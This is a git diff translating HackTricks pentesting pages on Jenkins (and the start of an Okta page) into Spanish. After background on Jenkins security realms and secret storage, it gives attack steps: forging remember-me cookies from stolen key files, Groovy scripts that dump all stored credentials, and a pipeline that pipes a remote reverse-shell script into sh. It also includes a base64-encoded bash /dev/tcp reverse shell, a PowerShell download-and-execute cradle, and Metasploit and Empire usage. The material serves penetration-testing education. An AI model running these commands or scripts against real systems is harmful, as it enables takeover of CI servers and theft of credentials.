+- **Estrategia de Autorización Basada en Proyectos:** Este modo es una **extensión** de "**seguridad basada en matriz**" que permite definir una matriz ACL adicional para ser **definida para cada proyecto por separado.**
+- **Estrategia Basada en Roles:** Permite definir autorizaciones usando una **estrategia basada en roles**. Administra los roles en `/role-strategy`.
-## **Security Realm**
+## **Reino de Seguridad**
-In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
+En `/configureSecurity` es posible **configurar el reino de seguridad.** Por defecto, Jenkins incluye soporte para algunos reinos de seguridad diferentes:
-- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
-- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
-- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
-- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
+- **Delegar al contenedor de servlets**: Para **delegar la autenticación a un contenedor de servlets que ejecuta el controlador de Jenkins**, como [Jetty](https://www.eclipse.org/jetty/).
+- **Base de datos de usuarios propia de Jenkins:** Usa **la propia base de datos de usuarios integrada de Jenkins** para la autenticación en lugar de delegar a un sistema externo. Esto está habilitado por defecto.
+- **LDAP**: Delegar toda la autenticación a un servidor LDAP configurado, incluyendo tanto usuarios como grupos.
+- **Base de datos de usuarios/grupos de Unix**: **Delegar la autenticación a la base de datos de usuarios a nivel de OS de Unix** en el controlador de Jenkins. Este modo también permitirá la reutilización de grupos de Unix para autorización.
-Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
+Los plugins pueden proporcionar reinos de seguridad adicionales que pueden ser útiles para incorporar Jenkins en sistemas de identidad existentes, como:
- [Active Directory](https://plugins.jenkins.io/active-directory)
-- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
+- [Autenticación de GitHub](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
-## Jenkins Nodes, Agents & Executors
+## Nodos, Agentes y Ejecutores de Jenkins
-Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
+Definiciones de la [documentación](https://www.jenkins.io/doc/book/managing/nodes/):
-**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
+**Nodos** son las **máquinas** en las que se ejecutan los **agentes de construcción**. Jenkins monitorea cada nodo adjunto en cuanto a espacio en disco, espacio temporal libre, intercambio libre, tiempo/sincronización del reloj y tiempo de respuesta. Un nodo se desconecta si alguno de estos valores sale del umbral configurado.
-**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
+**Agentes** **gestionan** la **ejecución de tareas** en nombre del controlador de Jenkins utilizando **ejecutores**. Un agente puede usar cualquier sistema operativo que soporte Java. Las herramientas requeridas para construcciones y pruebas se instalan en el nodo donde se ejecuta el agente; pueden **ser instaladas directamente o en un contenedor** (Docker o Kubernetes). Cada **agente es efectivamente un proceso con su propio PID** en la máquina host.
-An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
+Un **ejecutor** es un **espacio para la ejecución de tareas**; efectivamente, es **un hilo en el agente**. El **número de ejecutores** en un nodo define el número de **tareas concurrentes** que pueden ser ejecutadas en ese nodo al mismo tiempo. En otras palabras, esto determina el **número de `stages` de Pipeline concurrentes** que pueden ejecutarse en ese nodo al mismo tiempo.
-## Jenkins Secrets
+## Secretos de Jenkins
-### Encryption of Secrets and Credentials
+### Cifrado de Secretos y Credenciales
-Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
+Definición de la [documentación](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins utiliza **AES para cifrar y proteger secretos**, credenciales y sus respectivas claves de cifrado. Estas claves de cifrado se almacenan en `$JENKINS_HOME/secrets/` junto con la clave maestra utilizada para proteger dichas claves. Este directorio debe ser configurado para que solo el usuario del sistema operativo bajo el cual se ejecuta el controlador de Jenkins tenga acceso de lectura y escritura a este directorio (es decir, un valor de `chmod` de `0700` o usando atributos de archivo apropiados). La **clave maestra** (a veces referida como "clave de cifrado de clave" en jerga criptográfica) se **almacena \_sin cifrar\_** en el sistema de archivos del controlador de Jenkins en **`$JENKINS_HOME/secrets/master.key`** lo que no protege contra atacantes con acceso directo a ese archivo. La mayoría de los usuarios y desarrolladores utilizarán estas claves de cifrado indirectamente a través de la API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para cifrar datos secretos genéricos o a través de la API de credenciales. Para los curiosos sobre criptografía, Jenkins utiliza AES en modo de encadenamiento de bloques de cifrado (CBC) con relleno PKCS#5 y IVs aleatorios para cifrar instancias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que se almacenan en `$JENKINS_HOME/secrets/` con un nombre de archivo correspondiente a su id de `CryptoConfidentialKey`. Los ids de clave comunes incluyen:
-- `hudson.util.Secret`: used for generic secrets;
-- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
-- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
+- `hudson.util.Secret`: utilizado para secretos genéricos;
+- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: utilizado para algunos tipos de credenciales;
+- `jenkins.model.Jenkins.crumbSalt`: utilizado por el [mecanismo de protección CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); y
-### Credentials Access
+### Acceso a Credenciales
-Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project.
+Las credenciales pueden ser **alcanzadas por proveedores globales** (`/credentials/`) que pueden ser accedidos por cualquier proyecto configurado, o pueden ser limitadas a **proyectos específicos** (`/job//configure`) y, por lo tanto, solo accesibles desde el proyecto específico.
-According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
+Según [**la documentación**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Las credenciales que están en alcance están disponibles para la pipeline sin limitaciones. Para **prevenir la exposición accidental en el registro de construcción**, las credenciales son **enmascaradas** de la salida regular, por lo que una invocación de `env` (Linux) o `set` (Windows), o programas que imprimen su entorno o parámetros **no las revelaría en el registro de construcción** a usuarios que de otro modo no tendrían acceso a las credenciales.
-**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
+**Por eso, para exfiltrar las credenciales, un atacante necesita, por ejemplo, codificarlas en base64.**
-## References
+## Referencias
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 9d2b232e1..829462d04 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -2,108 +2,104 @@
{{#include ../../banners/hacktricks-training.md}}
-In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
+En esta publicación de blog es posible encontrar una gran manera de transformar una vulnerabilidad de Inclusión de Archivos Local en Jenkins en RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
-This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
+Este es un resumen creado por IA de la parte de la publicación donde se abusa de la creación de una cookie arbitraria para obtener RCE abusando de una lectura de archivos locales hasta que tenga tiempo para crear un resumen por mi cuenta:
-### Attack Prerequisites
+### Requisitos Previos del Ataque
-- **Feature Requirement:** "Remember me" must be enabled (default setting).
-- **Access Levels:** Attacker needs Overall/Read permissions.
-- **Secret Access:** Ability to read both binary and textual content from key files.
+- **Requisito de Función:** "Recuerdame" debe estar habilitado (configuración predeterminada).
+- **Niveles de Acceso:** El atacante necesita permisos de Lectura/General.
+- **Acceso Secreto:** Capacidad para leer tanto contenido binario como textual de archivos clave.
-### Detailed Exploitation Process
+### Proceso de Explotación Detallado
-#### Step 1: Data Collection
+#### Paso 1: Recolección de Datos
-**User Information Retrieval**
+**Recuperación de Información del Usuario**
-- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- - **Username**
- - **User seed**
- - **Timestamp**
- - **Password hash**
+- Acceder a la configuración del usuario y secretos desde `$JENKINS_HOME/users/*.xml` para cada usuario para recopilar:
+- **Nombre de Usuario**
+- **Semilla del Usuario**
+- **Marca de Tiempo**
+- **Hash de Contraseña**
-**Secret Key Extraction**
+**Extracción de Claves Secretas**
-- Extract cryptographic keys used for signing the cookie:
- - **Secret Key:** `$JENKINS_HOME/secret.key`
- - **Master Key:** `$JENKINS_HOME/secrets/master.key`
- - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
+- Extraer claves criptográficas utilizadas para firmar la cookie:
+- **Clave Secreta:** `$JENKINS_HOME/secret.key`
+- **Clave Maestra:** `$JENKINS_HOME/secrets/master.key`
+- **Archivo de Clave MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
-#### Step 2: Cookie Forging
+#### Paso 2: Falsificación de Cookies
-**Token Preparation**
+**Preparación del Token**
-- **Calculate Token Expiry Time:**
+- **Calcular Tiempo de Expiración del Token:**
- ```javascript
- tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
- ```
+```javascript
+tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Agrega una hora al tiempo actual
+```
-- **Concatenate Data for Token:**
+- **Concatenar Datos para el Token:**
- ```javascript
- token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
- ```
+```javascript
+token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
+```
-**MAC Key Decryption**
+**Desencriptación de la Clave MAC**
-- **Decrypt MAC Key File:**
+- **Desencriptar Archivo de Clave MAC:**
- ```javascript
- key = toAes128Key(masterKey) // Convert master key to AES128 key format
- decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
- if not decrypted.hasSuffix("::::MAGIC::::")
- return ERROR;
- macKey = decrypted.withoutSuffix("::::MAGIC::::")
- ```
+```javascript
+key = toAes128Key(masterKey) // Convertir clave maestra a formato de clave AES128
+decrypted = AES.decrypt(macFile, key) // Desencriptar el archivo .mac
+if not decrypted.hasSuffix("::::MAGIC::::")
+return ERROR;
+macKey = decrypted.withoutSuffix("::::MAGIC::::")
+```
-**Signature Computation**
+**Cálculo de la Firma**
-- **Compute HMAC SHA256:**
+- **Calcular HMAC SHA256:**
- ```javascript
- mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
- tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
- ```
+```javascript
+mac = HmacSHA256(token, macKey) // Calcular HMAC usando el token y la clave MAC
+tokenSignature = bytesToHexString(mac) // Convertir el MAC a una cadena hexadecimal
+```
-**Cookie Encoding**
+**Codificación de la Cookie**
-- **Generate Final Cookie:**
+- **Generar Cookie Final:**
- ```javascript
- cookie = base64.encode(
- username + ":" + tokenExpiryTime + ":" + tokenSignature
- ) // Base64 encode the cookie data
- ```
+```javascript
+cookie = base64.encode(
+username + ":" + tokenExpiryTime + ":" + tokenSignature
+) // Codificar en Base64 los datos de la cookie
+```
-#### Step 3: Code Execution
+#### Paso 3: Ejecución de Código
-**Session Authentication**
+**Autenticación de Sesión**
-- **Fetch CSRF and Session Tokens:**
- - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
+- **Obtener Tokens CSRF y de Sesión:**
+- Hacer una solicitud a `/crumbIssuer/api/json` para obtener `Jenkins-Crumb`.
+- Capturar `JSESSIONID` de la respuesta, que se utilizará junto con la cookie de "recuerdame".
-**Command Execution Request**
+**Solicitud de Ejecución de Comando**
-- **Send a POST Request with Groovy Script:**
+- **Enviar una Solicitud POST con Script Groovy:**
- ```bash
- curl -X POST "$JENKINS_URL/scriptText" \
- --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
- --header "Jenkins-Crumb: $CRUMB" \
- --header "Content-Type: application/x-www-form-urlencoded" \
- --data-urlencode "script=$SCRIPT"
- ```
+```bash
+curl -X POST "$JENKINS_URL/scriptText" \
+--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
+--header "Jenkins-Crumb: $CRUMB" \
+--header "Content-Type: application/x-www-form-urlencoded" \
+--data-urlencode "script=$SCRIPT"
+```
- - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
+- El script Groovy se puede utilizar para ejecutar comandos a nivel de sistema u otras operaciones dentro del entorno de Jenkins.
-The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
+El comando curl de ejemplo proporcionado demuestra cómo hacer una solicitud a Jenkins con los encabezados y cookies necesarios para ejecutar código arbitrario de manera segura.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index 8699b8159..216d1bf78 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -3,10 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
-> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
-
-You can **dump all the secrets from the Groovy Script console** in `/script` running this code
+> Tenga en cuenta que estos scripts solo enumerarán los secretos dentro del archivo `credentials.xml`, pero **los archivos de configuración de compilación** también pueden tener **más credenciales**.
+Puede **volcar todos los secretos desde la consola de scripts de Groovy** en `/script` ejecutando este código
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
@@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '')
return
```
-
-#### or this one:
-
+#### o este:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
- com.cloudbees.plugins.credentials.Credentials.class
+com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
- println(c.id)
- if (c.properties.description) {
- println(" description: " + c.description)
- }
- if (c.properties.username) {
- println(" username: " + c.username)
- }
- if (c.properties.password) {
- println(" password: " + c.password)
- }
- if (c.properties.passphrase) {
- println(" passphrase: " + c.passphrase)
- }
- if (c.properties.secret) {
- println(" secret: " + c.secret)
- }
- if (c.properties.secretBytes) {
- println(" secretBytes: ")
- println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
- println("")
- }
- if (c.properties.privateKeySource) {
- println(" privateKey: " + c.getPrivateKey())
- }
- if (c.properties.apiToken) {
- println(" apiToken: " + c.apiToken)
- }
- if (c.properties.token) {
- println(" token: " + c.token)
- }
- println("")
+println(c.id)
+if (c.properties.description) {
+println(" description: " + c.description)
+}
+if (c.properties.username) {
+println(" username: " + c.username)
+}
+if (c.properties.password) {
+println(" password: " + c.password)
+}
+if (c.properties.passphrase) {
+println(" passphrase: " + c.passphrase)
+}
+if (c.properties.secret) {
+println(" secret: " + c.secret)
+}
+if (c.properties.secretBytes) {
+println(" secretBytes: ")
+println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
+println("")
+}
+if (c.properties.privateKeySource) {
+println(" privateKey: " + c.getPrivateKey())
+}
+if (c.properties.apiToken) {
+println(" apiToken: " + c.apiToken)
+}
+if (c.properties.token) {
+println(" token: " + c.token)
+}
+println("")
}
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 89ca15223..de8bf6c97 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -1,43 +1,37 @@
-# Jenkins RCE Creating/Modifying Pipeline
+# Jenkins RCE Creando/Modificando Pipeline
{{#include ../../banners/hacktricks-training.md}}
-## Creating a new Pipeline
+## Creando un nuevo Pipeline
-In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
+En "Nuevo Elemento" (accesible en `/view/all/newJob`) selecciona **Pipeline:**
.png>)
-In the **Pipeline section** write the **reverse shell**:
+En la **sección Pipeline** escribe el **reverse shell**:
.png>)
-
```groovy
pipeline {
- agent any
+agent any
- stages {
- stage('Hello') {
- steps {
- sh '''
- curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
- '''
- }
- }
- }
+stages {
+stage('Hello') {
+steps {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
+'''
+}
+}
+}
}
```
-
-Finally click on **Save**, and **Build Now** and the pipeline will be executed:
+Finalmente, haz clic en **Guardar** y **Construir ahora** y el pipeline se ejecutará:
.png>)
-## Modifying a Pipeline
+## Modificando un Pipeline
-If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
+Si puedes acceder al archivo de configuración de algún pipeline configurado, podrías **modificarlo añadiendo tu reverse shell** y luego ejecutarlo o esperar a que se ejecute.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index f16096070..7f7562847 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -1,40 +1,36 @@
-# Jenkins RCE Creating/Modifying Project
+# Jenkins RCE Creando/Modificando Proyecto
{{#include ../../banners/hacktricks-training.md}}
-## Creating a Project
+## Creando un Proyecto
-This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
+Este método es muy ruidoso porque tienes que crear un proyecto completamente nuevo (obviamente esto solo funcionará si el usuario tiene permiso para crear un nuevo proyecto).
-1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
-2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
-3. Click **Build now**
- 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
- 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`**
+1. **Crea un nuevo proyecto** (proyecto Freestyle) haciendo clic en "Nuevo Elemento" o en `/view/all/newJob`
+2. Dentro de la sección **Construir**, establece **Ejecutar shell** y pega un lanzador de powershell Empire o un powershell de meterpreter (se puede obtener usando _unicorn_). Inicia la carga útil con _PowerShell.exe_ en lugar de usar _powershell._
+3. Haz clic en **Construir ahora**
+1. Si el botón **Construir ahora** no aparece, aún puedes ir a **configurar** --> **Disparadores de Construcción** --> `Construir periódicamente` y establecer un cron de `* * * * *`
+2. En lugar de usar cron, puedes usar la configuración "**Disparar construcciones de forma remota**" donde solo necesitas establecer el nombre del token de API para disparar el trabajo. Luego ve a tu perfil de usuario y **genera un token de API** (llama a este token de API como llamaste al token de API para disparar el trabajo). Finalmente, dispara el trabajo con: **`curl :@/job//build?token=`**
.png>)
-## Modifying a Project
+## Modificando un Proyecto
-Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
+Ve a los proyectos y verifica **si puedes configurar alguno** de ellos (busca el "botón de Configurar"):
.png>)
-If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
+Si **no puedes** ver ningún **botón de configuración**, entonces **no puedes** **configurarlo** probablemente (pero revisa todos los proyectos ya que podrías ser capaz de configurar algunos de ellos y no otros).
-Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
+O **intenta acceder a la ruta** `/job//configure` o `/me/my-views/view/all/job//configure` \_\_ en cada proyecto (ejemplo: `/job/Project0/configure` o `/me/my-views/view/all/job/Project0/configure`).
-## Execution
+## Ejecución
-If you are allowed to configure the project you can **make it execute commands when a build is successful**:
+Si se te permite configurar el proyecto, puedes **hacer que ejecute comandos cuando una construcción sea exitosa**:
.png>)
-Click on **Save** and **build** the project and your **command will be executed**.\
-If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
+Haz clic en **Guardar** y **construye** el proyecto y tu **comando será ejecutado**.\
+Si no estás ejecutando un shell inverso, sino un comando simple, puedes **ver la salida del comando dentro de la salida de la construcción**.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 33821cc03..82a1c4646 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -1,27 +1,24 @@
-# Jenkins RCE with Groovy Script
+# Jenkins RCE con Script Groovy
{{#include ../../banners/hacktricks-training.md}}
-## Jenkins RCE with Groovy Script
+## Jenkins RCE con Script Groovy
-This is less noisy than creating a new project in Jenkins
-
-1. Go to _path_jenkins/script_
-2. Inside the text box introduce the script
+Esto es menos ruidoso que crear un nuevo proyecto en Jenkins
+1. Ve a _path_jenkins/script_
+2. Dentro del cuadro de texto introduce el script
```python
def process = "PowerShell.exe ".execute()
println "Found text ${process.text}"
```
+Podrías ejecutar un comando usando: `cmd.exe /c dir`
-You could execute a command using: `cmd.exe /c dir`
+En **linux** puedes hacer: **`"ls /".execute().text`**
-In **linux** you can do: **`"ls /".execute().text`**
-
-If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
-
-**Another useful groovy script** is (replace \[INSERT COMMAND]):
+Si necesitas usar _comillas_ y _comillas simples_ dentro del texto. Puedes usar _"""PAYLOAD"""_ (tres comillas dobles) para ejecutar la carga útil.
+**Otro script groovy útil** es (reemplaza \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
-
-### Reverse shell in linux
-
+### Shell inversa en Linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
+### Reverse shell en Windows
-### Reverse shell in windows
-
-You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
-
+Puedes preparar un servidor HTTP con un PS reverse shell y usar Jeking para descargarlo y ejecutarlo:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
```
-
### Script
-You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
-
-You can use MSF to get a reverse shell:
+Puedes automatizar este proceso con [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
+Puedes usar MSF para obtener un shell reverso:
```
msf> use exploit/multi/http/jenkins_script_console
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index e682996c2..554761587 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -4,103 +4,103 @@
## Basic Information
-[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
+[Okta, Inc.](https://www.okta.com/) es reconocida en el sector de gestión de identidad y acceso por sus soluciones de software basadas en la nube. Estas soluciones están diseñadas para agilizar y asegurar la autenticación de usuarios en diversas aplicaciones modernas. Atienden no solo a empresas que buscan proteger sus datos sensibles, sino también a desarrolladores interesados en integrar controles de identidad en aplicaciones, servicios web y dispositivos.
-The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
+La oferta principal de Okta es la **Okta Identity Cloud**. Esta plataforma abarca un conjunto de productos, incluyendo, pero no limitado a:
-- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
-- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
-- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
-- **Universal Directory**: Enables centralized management of users, groups, and devices.
-- **API Access Management**: Secures and manages access to APIs.
+- **Single Sign-On (SSO)**: Simplifica el acceso del usuario al permitir un conjunto de credenciales de inicio de sesión en múltiples aplicaciones.
+- **Multi-Factor Authentication (MFA)**: Mejora la seguridad al requerir múltiples formas de verificación.
+- **Lifecycle Management**: Automatiza la creación, actualización y desactivación de cuentas de usuario.
+- **Universal Directory**: Permite la gestión centralizada de usuarios, grupos y dispositivos.
+- **API Access Management**: Asegura y gestiona el acceso a APIs.
-These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
+Estos servicios tienen como objetivo colectivo fortalecer la protección de datos y agilizar el acceso de los usuarios, mejorando tanto la seguridad como la conveniencia. La versatilidad de las soluciones de Okta las convierte en una opción popular en diversas industrias, beneficiando a grandes empresas, pequeñas compañías y desarrolladores individuales por igual. Hasta la última actualización en septiembre de 2021, Okta es reconocida como una entidad prominente en el ámbito de la Gestión de Identidad y Acceso (IAM).
> [!CAUTION]
-> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
+> El objetivo principal de Okta es configurar el acceso a diferentes usuarios y grupos a aplicaciones externas. Si logras **comprometer privilegios de administrador en un entorno de Okta**, es muy probable que puedas **comprometer todas las demás plataformas que la empresa está utilizando**.
> [!TIP]
-> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
